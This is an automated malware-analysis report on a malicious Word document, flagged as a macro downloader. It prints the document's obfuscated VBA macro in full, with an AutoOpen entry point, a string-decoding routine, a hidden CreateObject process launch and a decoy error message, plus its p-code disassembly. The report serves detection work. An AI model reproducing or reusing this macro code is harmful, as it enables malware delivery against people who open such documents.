Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1a1d8bb0bee40fb8…

MALICIOUS

Office (OLE)

208.0 KB Created: 2019-11-25 19:55:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 046f7d86f9b3c6f2bd8592e1c8a873ef SHA-1: af0c17a5fadbf28afe269f8201f69e673edb0c02 SHA-256: 1a1d8bb0bee40fb8dc1b0be7a634b3e41b58a9631fcd266ffcff020251ba1bbc
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Mruk-7410213-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Mruk-7410213-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Uppjaowwgmpt = CreateObject(Ceponadx(Pqnakdsrwg.Imamnwrpc + Plminrroij.Kdntidminmmb + Plminrroij.Hiooyrrza))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31070 bytes
SHA-256: d4992ffb77711fa820621a2b75e682696488ac4e4f4c4ec49cad23b438f0dcd0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Plminrroij"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Bedbmetiphn, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Kdntidminmmb, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Hiooyrrza, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Asihurrliw, 3, 3, MSForms, TextBox"

Attribute VB_Name = "Pqnakdsrwg"
Attribute VB_Base = "0{BFE28C8D-6FFB-4CF4-8C63-EBF97326A9A9}{51846F77-B8C4-4179-B252-8EC9EE163449}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Rybrniykr"
Function Doyjtckglco()
On Error Resume Next
   'Zlcfqohbmwnv
Cghdwlgus = 16338 + 1
      Dim vwzHEZAO()
ReDim vwzHEZAO(2)
vwzHEZAO(0) = "Debitis."
vwzHEZAO(1) = "Velit."

      While 16338 = Cghdwlgus
         Dim bYMhr()
ReDim bYMhr(1)
bYMhr(0) = WuhiAI

      Wend
      Dim SzwEB()
ReDim SzwEB(3)
SzwEB(0) = Rose
SzwEB(1) = "Voluptatibus."
SzwEB(2) = 6436

'Vxqcofpcyghct
Nmgknsjgwpur = Ceponadx(Pqnakdsrwg.Imamnwrpc)
   'Hkutitgtqad
Cghdwlgus = 16338 + 1
      Dim JemBhk()
ReDim JemBhk(3)
JemBhk(0) = "Tempore."
JemBhk(1) = Tom
JemBhk(2) = DFHHfGEX

      While 16338 = Cghdwlgus
         Dim yELHIO()
ReDim yELHIO(2)
yELHIO(0) = 4
yELHIO(1) = "Est."

      Wend
      Dim iCZrAEHAo()
ReDim iCZrAEHAo(3)
iCZrAEHAo(0) = Edmond
iCZrAEHAo(1) = LYKQELt
iCZrAEHAo(2) = "Sunt."

'Vbccrojnum
Set Uppjaowwgmpt = CreateObject(Ceponadx(Pqnakdsrwg.Imamnwrpc + Plminrroij.Kdntidminmmb + Plminrroij.Hiooyrrza))
   'Pmazepzuiaaud
Cghdwlgus = 16338 + 1
      Dim HoOeAaJ()
ReDim HoOeAaJ(3)
HoOeAaJ(0) = "Consectetur minima."
HoOeAaJ(1) = reGjDWJll
HoOeAaJ(2) = gBKtCeADH

      While 16338 = Cghdwlgus
         Dim epLqsj()
ReDim epLqsj(2)
epLqsj(0) = hnQAkMAH
epLqsj(1) = raIaKIfl

      Wend
      Dim rkUwAIvCJ()
ReDim rkUwAIvCJ(1)
rkUwAIvCJ(0) = szueEI

'Dkuessduut
Uppjaowwgmpt.XSize = Joqxdezkb + Eitxoymqstg + Mzwgtinob
   'Ormvxqdogri
Cghdwlgus = 16338 + 1
      Dim qlRfB()
ReDim qlRfB(1)
qlRfB(0) = "Ratione."

      While 16338 = Cghdwlgus
         Dim YVwlMEQJ()
ReDim YVwlMEQJ(2)
YVwlMEQJ(0) = "Nisi odit cum."
YVwlMEQJ(1) = PndVDGJJe

      Wend
      Dim QLUupiFiD()
ReDim QLUupiFiD(2)
QLUupiFiD(0) = aZwBmDF
QLUupiFiD(1) = Clayton

'Bttukgghn
Uppjaowwgmpt.YSize = Xlmjbrjfwmsp + Icrvbodmkl + Tqswccqza
   'Oikpynlv
Cghdwlgus = 16338 + 1
      Dim bREZRgF()
ReDim bREZRgF(2)
bREZRgF(0) = "Saepe."
bREZRgF(1) = 89

      While 16338 = Cghdwlgus
         Dim TieRQEv()
ReDim TieRQEv(2)
TieRQEv(0) = "Accusantium."
TieRQEv(1) = "Nesciunt officiis est provident."

      Wend
      Dim YdYJPGFK()
ReDim YdYJPGFK(1)
YdYJPGFK(0) = Cary

'Xproatfyxerlt
Falzlirv = Ceponadx(Plminrroij.Hiooyrrza + Pqnakdsrwg.Ctgnfzsiqh + Pqnakdsrwg.Hqwiyabfbb)
   'Dwdcslycy
Cghdwlgus = 16338 + 1
      Dim NNFxdyb()
ReDim NNFxdyb(1)
NNFxdyb(0) = "Aut."

      While 16338 = Cghdwlgus
         Dim KoVbnFtI()
ReDim KoVbnFtI(1)
KoVbnFtI(0) = "Error."

      Wend
      Dim IwVfJlFBC()
ReDim IwVfJlFBC(1)
IwVfJlFBC(0) = "Magni."

'Qlkgdkraoico
Hhiftklcdvsz = CreateObject(Ceponadx(Nmgknsjgwpur)).Create#(Falzlirv, Cpbjaftuka, Uppjaowwgmpt, Gwtadqkabf)
   'Loqjrauadlbkn
Cghdwlgus = 16338 + 1
      Dim ForADFKv()
ReDim ForADFKv(1)
ForADFKv(0) = 5869

      While 16338 = Cghdwlgus
         Dim wgaZB()
ReDim wgaZB(2)
wgaZB(0) = Ora
wgaZB(1) = 47

      Wend
      Dim TZIhbsN()
ReDim TZIhbsN(2)
TZIhbsN(0) = 88
TZIhbsN(1) = Maxine

'Uggdwxpixbd
End Function

Attribute VB_Name = "Kcdpgksxpo"
Function Ceponadx(Thhwdqqbcnd)
On Error Resume Next
   'Xdsnwqlorsmcu
Cghdwlgus = 16338 + 1
      Dim tPZrBD()
ReDim tPZrBD(3)
tPZrBD(0) = 6
tPZrBD(1) = "Quia."
tPZrBD(2) = "Vero."

      While 16338 = Cghdwlgus
         Dim ehSnFAHnE()
ReDim ehSnFAHnE(3)
ehSnFAHnE(0) = Debra
ehSnFAHnE(1) = TggevDtCC
ehSnFAHnE(2) = "Unde."

      Wend
      Dim SWpZMBe()
ReDim SWpZMBe(1)
SWpZMBe(0) = 1523

'Xvjfvrhefsw
Ceponadx = Wnkjvyxazbr(Wnkjvyxazbr(Wnkjvyxazbr(Wnkjvyxazbr(Thhwdqqbcnd))))
   'Logulllavfe
Cghdwlgus = 16338 + 1
      Dim ybOTHmE()
ReDim ybOTHmE(3)
ybOTHmE(0) = Jake
ybOTHmE(1) = "Ullam."
ybOTHmE(2) = 419

      While 16338 = Cghdwlgus
         Dim pVbCAv()
ReDim pVbCAv(2)
pVbCAv(0) = "Asperiores omnis sed hic."
pVbCAv(1) = "Numquam enim repellendus error."

      Wend
      Dim jEanIxzH()
ReDim jEanIxzH(1)
jEanIxzH(0) = "Tempore."

'Leopwxvgu
End Function

Attribute VB_Name = "Jkrqcnuws"
Function Wnkjvyxazbr(Katrvnetnltlb)
On Error Resume Next
   'Tvrnxpdodbue
Cghdwlgus = 16338 + 1
      Dim rPXbBh()
ReDim rPXbBh(1)
rPXbBh(0) = Lucille

      While 16338 = Cghdwlgus
         Dim dieDEDDf()
ReDim dieDEDDf(2)
dieDEDDf(0) = "Delectus velit est velit."
dieDEDDf(1) = Lance

      Wend
      Dim CemCOYA()
ReDim CemCOYA(3)
CemCOYA(0) = 9
CemCOYA(1) = "Et eum qui."
CemCOYA(2) = "Inventore."

'Whesxgnqixe
Ltpclnzz = LTrim("      ")
   'Sbmjivotwd
Cghdwlgus = 16338 + 1
      Dim gMOIJIDso()
ReDim gMOIJIDso(3)
gMOIJIDso(0) = 8693
gMOIJIDso(1) = "Atque."
gMOIJIDso(2) = Charles

      While 16338 = Cghdwlgus
         Dim pHUTAHInI()
ReDim pHUTAHInI(1)
pHUTAHInI(0) = 3

      Wend
      Dim akBIgIN()
ReDim akBIgIN(3)
akBIgIN(0) = 2458
akBIgIN(1) = 7
akBIgIN(2) = 97

'Vapqhfrned
Cpfbrdyv = Plminrroij.Bedbmetiphn
ReDim osjjjajsccv(3245)
   'Xvbegzyz
Cghdwlgus = 16338 + 1
      Dim eIxoBxAN()
ReDim eIxoBxAN(3)
eIxoBxAN(0) = "Laborum repellat in aut."
eIxoBxAN(1) = 9
eIxoBxAN(2) = "Nobis."

      While 16338 = Cghdwlgus
         Dim QlSYGDD()
ReDim QlSYGDD(3)
QlSYGDD(0) = "Iste."
QlSYGDD(1) = "At ad voluptatem soluta."
QlSYGDD(2) = "Ipsam fugiat est."

      Wend
      Dim PbUDJ()
ReDim PbUDJ(1)
PbUDJ(0) = "Nam aut et."

'Qqnexemu
osjjjajsccv(234) = Replace(LTrim(hjsjkkasd) + Katrvnetnltlb + LTrim(hjsjkkasd), Cpfbrdyv, Ltpclnzz)
   'Oizvzqomf
Cghdwlgus = 16338 + 1
      Dim IVldABJQ()
ReDim IVldABJQ(2)
IVldABJQ(0) = 65
IVldABJQ(1) = gAkMFe

      While 16338 = Cghdwlgus
         Dim vgVdAHCHA()
ReDim vgVdAHCHA(3)
vgVdAHCHA(0) = bHxhHDI
vgVdAHCHA(1) = FyfNB
vgVdAHCHA(2) = "Ab."

      Wend
      Dim WNFhHWI()
ReDim WNFhHWI(1)
WNFhHWI(0) = Lena

'Oqqdxvirumv
Wnkjvyxazbr = osjjjajsccv(234)
   'Btwrtdqcqfyq
Cghdwlgus = 16338 + 1
      Dim HQEdBFAM()
ReDim HQEdBFAM(2)
HQEdBFAM(0) = jvqYIH
HQEdBFAM(1) = "Quia quis excepturi."

      While 16338 = Cghdwlgus
         Dim CaoRb()
ReDim CaoRb(2)
CaoRb(0) = Gregory
CaoRb(1) = "Delectus."

      Wend
      Dim sTTEGJv()
ReDim sTTEGJv(3)
sTTEGJv(0) = "Sint quidem dolor praesentium."
sTTEGJv(1) = 632
sTTEGJv(2) = "Voluptas et unde qui."

'Zhdtzaenua
End Function
Sub autoopen()
On Error Resume Next
   'Kozpdmsief
Cghdwlgus = 16338 + 1
      Dim LtTFGEHB()
ReDim LtTFGEHB(2)
LtTFGEHB(0) = 31
LtTFGEHB(1) = "Ut."

      While 16338 = Cghdwlgus
         Dim EmnLVABG()
ReDim EmnLVABG(2)
EmnLVABG(0) = Marcus
EmnLVABG(1) = "Magni aliquam ipsa suscipit."

      Wend
      Dim JGhJFIDFC()
ReDim JGhJFIDFC(3)
JGhJFIDFC(0) = BLWPAEJI
JGhJFIDFC(1) = "Vero doloribus fugiat sed."
JGhJFIDFC(2) = "Vel ut itaque."

'Wzdzfywfllak
Doyjtckglco
   'Qmlelbmvc
Cghdwlgus = 16338 + 1
      Dim jnWUpD()
ReDim jnWUpD(3)
jnWUpD(0) = 6862
jnWUpD(1) = Marie
jnWUpD(2) = 9

      While 16338 = Cghdwlgus
         Dim JcVaBwGUy()
ReDim JcVaBwGUy(1)
JcVaBwGUy(0) = KbaFF

      Wend
      Dim sixPGBBM()
ReDim sixPGBBM(2)
sixPGBBM(0) = "Ullam dolor."
sixPGBBM(1) = 7

'Cdicxkwc
Falzlirv = MsgBox(Ceponadx("oksmoksmCroksmioksmtioksmcaoksml Eoksmrrooksmr Eoksmncounoksmteoksmreoksmdoksmoksm"), Ceponadx("oksm1oksm6"), Pqnakdsrwg.Turbfkzslb)
   'Aoddcepseavf
Cghdwlgus = 16338 + 1
      Dim pQvIHeB()
ReDim pQvIHeB(3)
pQvIHeB(0) = "Sunt."
pQvIHeB(1) = 6
pQvIHeB(2) = "Laudantium non praesentium et."

      While 16338 = Cghdwlgus
         Dim IrzmdLIZ()
ReDim IrzmdLIZ(1)
IrzmdLIZ(0) = "Veniam."

      Wend
      Dim AdpOdpMFF()
ReDim AdpOdpMFF(2)
AdpOdpMFF(0) = "Reiciendis."
AdpOdpMFF(1) = Lamar

'Xwzcfcwktii
End Sub

' Processing file: /opt/analyzer/scan_staging/6abcb7e8e4494942958ba22df94f7207.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Plminrroij - 1646 bytes
' Macros/VBA/Pqnakdsrwg - 1161 bytes
' Macros/VBA/Rybrniykr - 7971 bytes
' Line #0:
' 	FuncDefn (Function Rybrniykr())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	QuoteRem 0x0003 0x000C "Zlcfqohbmwnv"
' Line #3:
' 	LitDI2 0x3FD2 
' 	LitDI2 0x0001 
' 	Add 
' 	St Doyjtckglco 
' Line #4:
' 	Dim 
' 	VarDefn Cghdwlgus
' Line #5:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim Cghdwlgus 0x0001 (As Variant)
' Line #6:
' 	LitStr 0x0008 "Debitis."
' 	LitDI2 0x0000 
' 	ArgsSt Cghdwlgus 0x0001 
' Line #7:
' 	LitStr 0x0006 "Velit."
' 	LitDI2 0x0001 
' 	ArgsSt Cghdwlgus 0x0001 
' Line #8:
' Line #9:
' 	LitDI2 0x3FD2 
' 	Ld Doyjtckglco 
' 	Eq 
' 	While 
' Line #10:
' 	Dim 
' 	VarDefn vwzHEZAO
' Line #11:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim vwzHEZAO 0x0001 (As Variant)
' Line #12:
' 	Ld bYMhr 
' 	LitDI2 0x0000 
' 	ArgsSt vwzHEZAO 0x0001 
' Line #13:
' Line #14:
' 	Wend 
' Line #15:
' 	Dim 
' 	VarDefn WuhiAI
' Line #16:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim WuhiAI 0x0001 (As Variant)
' Line #17:
' 	Ld SzwEB 
' 	LitDI2 0x0000 
' 	ArgsSt WuhiAI 0x0001 
' Line #18:
' 	LitStr 0x000D "Voluptatibus."
' 	LitDI2 0x0001 
' 	ArgsSt WuhiAI 0x0001 
' Line #19:
' 	LitDI2 0x1924 
' 	LitDI2 0x0002 
' 	ArgsSt WuhiAI 0x0001 
' Line #20:
' Line #21:
' 	QuoteRem 0x0000 0x000D "Vxqcofpcyghct"
' Line #22:
' 	Ld Pqnakdsrwg 
' 	MemLd Ceponadx 
' 	ArgsLd Nmgknsjgwpur 0x0001 
' 	St Rose 
' Line #23:
' 	QuoteRem 0x0003 0x000B "Hkutitgtqad"
' Line #24:
' 	LitDI2 0x3FD2 
' 	LitDI2 0x0001 
' 	Add 
' 	St Doyjtckglco 
' Line #25:
' 	Dim 
' 	VarDefn Imamnwrpc
' Line #26:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim Imamnwrpc 0x0001 (As Variant)
' Line #27:
' 	LitStr 0x0008 "Tempore."
' 	LitDI2 0x0000 
' 	ArgsSt Imamnwrpc 0x0001 
' Line #28:
' 	Ld JemBhk 
' 	LitDI2 0x0001 
' 	ArgsSt Imamnwrpc 0x0001 
' Line #29:
' 	Ld Tom 
' 	LitDI2 0x0002 
' 	ArgsSt Imamnwrpc 0x0001 
' Line #30:
' Line #31:
' 	LitDI2 0x3FD2 
' 	Ld Doyjtckglco 
' 	Eq 
' 	While 
' Line #32:
' 	Dim 
' 	VarDefn DFHHfGEX
' Line #33:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim DFHHfGEX 0x0001 (As Variant)
' Line #34:
' 	LitDI2 0x0004 
' 	LitDI2 0x0000 
' 	ArgsSt DFHHfGEX 0x0001 
' Line #35:
' 	LitStr 0x0004 "Est."
' 	LitDI2 0x0001 
' 	ArgsSt DFHHfGEX 0x0001 
' Line #36:
' Line #37:
' 	Wend 
' Line #38:
' 	Dim 
' 	VarDefn yELHIO
' Line #39:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim yELHIO 0x0001 (As Variant)
' Line #40:
' 	Ld iCZrAEHAo 
' 	LitDI2 0x0000 
' 	ArgsSt yELHIO 0x0001 
' Line #41:
' 	Ld Edmond 
' 	LitDI2 0x0001 
' 	ArgsSt yELHIO 0x0001 
' Line #42:
' 	LitStr 0x0005 "Sunt."
' 	LitDI2 0x0002 
' 	ArgsSt yELHIO 0x0001 
' Line #43:
' Line #44:
' 	QuoteRem 0x0000 0x000A "Vbccrojnum"
' Line #45:
' 	SetStmt 
' 	Ld Pqnakdsrwg 
' 	MemLd Ceponadx 
' 	Ld _B_var_RswjynqwJionauzxk 
' 	MemLd Bedbmetiphn 
' 	Add 
' 	Ld _B_var_RswjynqwJionauzxk 
' 	MemLd Kdntidminmmb 
' 	Add 
' 	ArgsLd Nmgknsjgwpur 0x0001 
' 	ArgsLd Uppjaowwgmpt 0x0001 
' 	Set LYKQELt 
' Line #46:
' 	QuoteRem 0x0003 0x000D "Pmazepzuiaaud"
' Line #47:
' 	LitDI2 0x3FD2 
' 	LitDI2 0x0001 
' 	Add 
' 	St Doyjtckglco 
' Line #48:
' 	Dim 
' 	VarDefn CreateObject
' Line #49:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim CreateObject 0x0001 (As Variant)
' Line #50:
' 	LitStr 0x0013 "Consectetur minima."
' 	LitDI2 0x0000 
' 	ArgsSt CreateObject 0x0001 
' Line #51:
' 	Ld HoOeAaJ 
' 	LitDI2 0x0001 
' 	ArgsSt CreateObject 0x0001 
' Line #52:
' 	Ld reGjDWJll 
' 	LitDI2 0x0002 
' 	ArgsSt CreateObject 0x0001 
' Line #53:
' Line #54:
' 	LitDI2 0x3FD2 
' 	Ld Doyjtckglco 
' 	Eq 
' 	While 
' Line #55:
' 	Dim 
' 	VarDefn gBKtCeADH
' Line #56:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim gBKtCeADH 0x0001 (As Variant)
' Line #57:
' 	Ld epLqsj 
' 	LitDI2 0x0000 
' 	ArgsSt gBKtCeADH 0x0001 
' Line #58:
' 	Ld hnQAkMAH 
' 	LitDI2 0x0001 
' 	ArgsSt gBKtCeADH 0x0001 
' Line #59:
' Line #60:
' 	Wend 
' Line #61:
' 	Dim 
' 	VarDefn raIaKIfl
' Line #62:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim raIaKIfl 0x0001 (As Variant)
' Line #63:
' 	Ld rkUwAIvCJ 
' 	LitDI2 0x0000 
' 	ArgsSt raIaKIfl 0x0001 
' Line #64:
' Line #65:
' 	QuoteRem 0x0000 0x000A "Dkuessduut"
' Line #66:
' 	Ld XSize 
' 	Ld Joqxdezkb 
' 	Add 
' 	Ld Eitxoymqstg 
' 	Add 
' 	Ld LYKQELt 
' 	MemSt szueEI 
' Line #67:
' 	QuoteRem 0x0003 0x000B "Ormvxqdogri"
' Line #68:
' 	LitDI2 0x3FD2 
' 	LitDI2 0x0001 
' 	Add 
' 	St Doyjtckglco 
' Line #69:
' 	Dim 
' 	VarDefn Mzwgtinob
' Line #70:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim Mzwgtinob 0x0001 (As Variant)
' Line #71:
' 	LitStr 0x0008 "Ratione."
' 	LitDI2 0x0000 
' 	ArgsSt Mzwgtinob 0x0001 
' Line #72:
' Line #73:
' 	LitDI2 0x3FD2 
' 	Ld Doyjtckglco 
' 	Eq 
' 	While 
' Line #74:
' 	Dim 
' 	VarDefn qlRfB
' Line #75:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim qlRfB 0x0001 (As Variant)
' Line #76:
' 	LitStr 0x000E "Nisi odit cum."
' 	LitDI2 0x0000 
' 	ArgsSt qlRfB 0x0001 
' Line #77:
' 	Ld YVwlMEQJ 
' 	LitDI2 0x0001 
' 	ArgsSt qlRfB 0x0001 
' Line #78:
' Line #79:
' 	Wend 
' Line #80:
' 	Dim 
' 	VarDefn PndVDGJJe
' Line #81:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim PndVDGJJe 0x0001 (As Variant)
' Line #82:
' 	Ld QLUupiFiD 
' 	LitDI2 0x0000 
' 	ArgsSt PndVDGJJe 0x0001 
' Line #83:
' 	Ld aZwBmDF 
' 	LitDI2 0x0001 
' 	ArgsSt PndVDGJJe 0x0001 
' Line #84:
' Line #85:
' 	QuoteRem 0x0000 0x0009 "Bttukgghn"
' Line #86:
' 	Ld YSize 
' 	Ld Xlmjbrjfwmsp 
' 	Add 
' 	Ld Icrvbodmkl 
' 	Add 
' 	Ld LYKQELt 
' 	MemSt Clayton 
' Line #87:
' 	QuoteRem 0x0003 0x0008 "Oikpynlv"
' Line #88:
' 	LitDI2 0x3FD2 
' 	LitDI2 0x0001 
' 	Add 
' 	St Doyjtckglco 
' Line #89:
' 	Dim 
' 	VarDefn Tqswccqza
' Line #90:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim Tqswccqza 0x0001 (As Variant)
' Line #91:
' 	LitStr 0x0006 "Saepe."
' 	LitDI2 0x0000 
' 	ArgsSt Tqswccqza 0x0001 
' Line #92:
' 	LitDI2 0x0059 
' 	LitDI2 0x0001 
' 	ArgsSt Tqswccqza 0x0001 
' Line #93:
' Line #94:
' 	LitDI2 0x3FD2 
' 	Ld Doyjtckglco 
' 	Eq 
' 	While 
' Line #95:
' 	Dim 
' 	VarDefn bREZRgF
' Line #96:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim bREZRgF 0x0001 (As Variant)
' Line #97:
' 	LitStr 0x000C "Accusantium."
' 	LitDI2 0x0000 
' 	ArgsSt bREZRgF 0x0001 
' Line #98:
' 	LitStr 0x0020 "Nesciunt officiis est provident."
' 	LitDI2 0x0001 
' 	ArgsSt bREZRgF 0x0001 
' Line #99:
' Line #100:
' 	Wend 
' Line #101:
' 	Dim 
' 	VarDefn TieRQEv
' Line #102:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim TieRQEv 0x0001 (As Variant)
' Line #103:
' 	Ld YdYJPGFK 
' 	LitDI2 0x0000 
' 	ArgsSt TieRQEv 0x0001 
' Line #104:
' Line #105:
' 	QuoteRem 0x0000 0x000D "Xproatfyxerlt"
' Line #106:
' 	Ld _B_var_RswjynqwJionauzxk 
' 	MemLd Kdntidminmmb 
' 	Ld Pqnakdsrwg 
' 	MemLd Falzlirv 
' 	Add 
' 	Ld Pqnakdsrwg 
' 	MemLd Ctgnfzsiqh 
' 	Add 
' 	ArgsLd Nmgknsjgwpur 0x0001 
' 	St Cary 
' Line #107:
' 	QuoteRem 0x0003 0x0009 "Dwdcslycy"
' Line #108:
' 	LitDI2 0x3FD2 
' 	LitDI2 0x0001 
' 	Add 
' 	St Doyjtckglco 
' Line #109:
' 	Dim 
' 	VarDefn Hqwiyabfbb
' Line #110:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim Hqwiyabfbb 0x0001 (As Variant)
' Line #111:
' 	LitStr 0x0004 "Aut."
' 	LitDI2 0x0000 
' 	ArgsSt Hqwiyabfbb 0x0001 
' Line #112:
' Line #113:
' 	LitDI2 0x3FD2 
' 	Ld Doyjtckglco 
' 	Eq 
' 	While 
' Line #114:
' 	Dim 
' 	VarDefn NNFxdyb
' Line #115:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim NNFxdyb 0x0001 (As Variant)
' Line #116:
' 	LitStr 0x0006 "Error."
' 	LitDI2 0x0000 
' 	ArgsSt NNFxdyb 0x0001 
' Line #117:
' Line #118:
' 	Wend 
' Line #119:
' 	Dim 
' 	VarDefn KoVbnFtI
' Line #120:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim KoVbnFtI 0x0001 (As Variant)
' Line #121:
' 	LitStr 0x0006 "Magni."
' 	LitDI2 0x0000 
' 	ArgsSt KoVbnFtI 0x0001 
' Line #122:
' Line #123:
' 	QuoteRem 0x0000 0x000C "Qlkgdkraoico"
' Line #124:
' 	Ld Cary 
' 	Ld Create 
' 	Ld LYKQELt 
' 	Ld Cpbjaftuka 
' 	Ld Rose 
' 	ArgsLd Nmgknsjgwpur 0x0001 
' 	ArgsLd Uppjaowwgmpt 0x0001 
' 	ArgsMemLd Hhiftklcdvsz# 0x0004 
' 	St IwVfJlFBC 
' Line #125:
' 	QuoteRem 0x0003 0x000D "Loqjrauadlbkn"
' Line #126:
' 	LitDI2 0x3FD2 
' 	LitDI2 0x0001 
' 	Add 
' 	St Doyjtckglco 
' Line #127:
' 	Dim 
' 	VarDefn Gwtadqkabf
' Line #128:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim Gwtadqkabf 0x0001 (As Variant)
' Line #129:
' 	LitDI2 0x16ED 
' 	LitDI2 0x0000 
' 	ArgsSt Gwtadqkabf 0x0001 
' Line #130:
' Line #131:
' 	LitDI2 0x3FD2 
' 	Ld Doyjtckglco 
' 	Eq 
' 	While 
' Line #132:
' 	Dim 
' 	VarDefn ForADFKv
' Line #133:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim ForADFKv 0x0001 (As Variant)
' Line #134:
' 	Ld wgaZB 
' 	LitDI2 0x0000 
' 	ArgsSt ForADFKv 0x0001 
' Line #135:
' 	LitDI2 0x002F 
' 	LitDI2 0x0001 
' 	ArgsSt ForADFKv 0x0001 
' Line #136:
' Line #137:
' 	Wend 
' Line #138:
' 	Dim 
' 	VarDefn Ora
' Line #139:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim Ora 0x0001 (As Variant)
' Line #140:
' 	LitDI2 0x0058 
' 	LitDI2 0x0000 
' 	ArgsSt Ora 0x0001 
' Line #141:
' 	Ld TZIhbsN 
' 	LitDI2 0x0001 
' 	ArgsSt Ora 0x0001 
' Line #142:
' Line #143:
' 	QuoteRem 0x0000 0x000B "Uggdwxpixbd"
' Line #144:
' 	EndFunc 
' Macros/VBA/Kcdpgksxpo - 3037 bytes
' Line #0:
' 	FuncDefn (Function Nmgknsjgwpur(Kcdpgksxpo))
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	QuoteRem 0x0003 0x000D "Xdsnwqlorsmcu"
' Line #3:
' 	LitDI2 0x3FD2 
' 	LitDI2 0x0001 
' 	Add 
' 	St Doyjtckglco 
' Line #4:
' 	Dim 
' 	VarDefn Thhwdqqbcnd
' Line #5:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim Thhwdqqbcnd 0x0001 (As Variant)
' Line #6:
' 	LitDI2 0x0006 
' 	LitDI2 0x0000 
' 	ArgsSt Thhwdqqbcnd 0x0001 
' Line #7:
' 	LitStr 0x0005 "Quia."
' 	LitDI2 0x0001 
' 	ArgsSt Thhwdqqbcnd 0x0001 
' Line #8:
' 	LitStr 0x0005 "Vero."
' 	LitDI2 0x0002 
' 	ArgsSt Thhwdqqbcnd 0x0001 
' Line #9:
' Line #10:
' 	LitDI2 0x3FD2 
' 	Ld Doyjtckglco 
' 	Eq 
' 	While 
' Line #11:
' 	Dim 
' 	VarDefn tPZrBD
' Line #12:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim tPZrBD 0x0001 (As Variant)
' Line #13:
' 	Ld ehSnFAHnE 
' 	LitDI2 0x0000 
' 	ArgsSt tPZrBD 0x0001 
' Line #14:
' 	Ld Debra 
' 	LitDI2 0x0001 
' 	ArgsSt tPZrBD 0x0001 
' Line #15:
' 	LitStr 0x0005 "Unde."
' 	LitDI2 0x0002 
' 	ArgsSt tPZrBD 0x0001 
' Line #16:
' Line #17:
' 	Wend 
' Line #18:
' 	Dim 
' 	VarDefn TggevDtCC
' Line #19:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim TggevDtCC 0x0001 (As Variant)
' Line #20:
' 	LitDI2 0x05F3 
' 	LitDI2 0x0000 
' 	ArgsSt TggevDtCC 0x0001 
' Line #21:
' Line #22:
' 	QuoteRem 0x0000 0x000B "Xvjfvrhefsw"
' Line #23:
' 	Ld Kcdpgksxpo 
' 	ArgsLd SWpZMBe 0x0001 
' 	ArgsLd SWpZMBe 0x0001 
' 	ArgsLd SWpZMBe 0x0001 
' 	ArgsLd SWpZMBe 0x0001 
